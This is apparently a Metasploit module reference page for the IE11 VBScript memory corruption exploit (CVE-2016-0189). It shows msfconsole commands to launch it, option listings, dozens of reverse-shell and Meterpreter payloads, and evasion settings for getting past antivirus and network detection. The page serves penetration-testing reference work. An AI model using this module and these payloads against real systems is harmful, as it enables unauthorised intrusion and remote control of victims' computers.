Internet Explorer 11 VBScript Engine Memory Corruption - Metasploit
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Module Overview
Name: Internet Explorer 11 VBScript Engine Memory Corruption
Module: exploit/windows/browser/ms16_051_vbscript
Source code: modules/exploits/windows/browser/ms16_051_vbscript.rb
Disclosure date: 2016-05-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-0189
This module exploits the memory corruption vulnerability (CVE-2016-0189) present in the VBScript engine of Internet Explorer 11.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/browser/ms16_051_vbscript
msf exploit(ms16_051_vbscript) > exploit
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Msfconsole Usage
Here is how the windows/browser/ms16_051_vbscript exploit module looks in the msfconsole:
msf6 > use exploit/windows/browser/ms16_051_vbscript
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms16_051_vbscript) > show info
Name: Internet Explorer 11 VBScript Engine Memory Corruption
Module: exploit/windows/browser/ms16_051_vbscript
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-05-10
Provided by:
Theori
William Webb <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Windows 10 with IE 11
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits the memory corruption vulnerability
(CVE-2016-0189) present in the VBScript engine of Internet Explorer
11.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-0189
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-051
Module Options
This is a complete list of options available in the windows/browser/ms16_051_vbscript exploit:
msf6 exploit(windows/browser/ms16_051_vbscript) > show options
Module options (exploit/windows/browser/ms16_051_vbscript):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/browser/ms16_051_vbscript exploit:
msf6 exploit(windows/browser/ms16_051_vbscript) > show advanced
Module advanced options (exploit/windows/browser/ms16_051_vbscript):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/browser/ms16_051_vbscript module can exploit:
msf6 exploit(windows/browser/ms16_051_vbscript) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Windows 10 with IE 11
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/browser/ms16_051_vbscript exploit:
msf6 exploit(windows/browser/ms16_051_vbscript) > show payloads
Compatible Payloads
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# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/browser/ms16_051_vbscript exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/browser/ms16_051_vbscript) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7172 Merged Pull Request: Internet Explorer 11 VBScript memory corruption exploit
References
See Also
Check also the following modules related to this module:
- exploit/windows/browser/ms10_022_ie_vbscript_winhlp32
- exploit/windows/local/ms16_014_wmi_recv_notif
- exploit/windows/local/ms16_016_webdav
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms16_075_reflection
- exploit/windows/local/ms16_075_reflection_juicy
- exploit/windows/isapi/ms03_051_fp30reg_chunked
- exploit/windows/local/ms15_051_client_copy_image
Related Nessus plugins:
- MS16-051: Cumulative Security Update for Internet Explorer (3155533)
- MS16-053: Cumulative Security Update for JScript and VBScript (3156764)
Authors
- Theori
- William Webb <william_webb[at]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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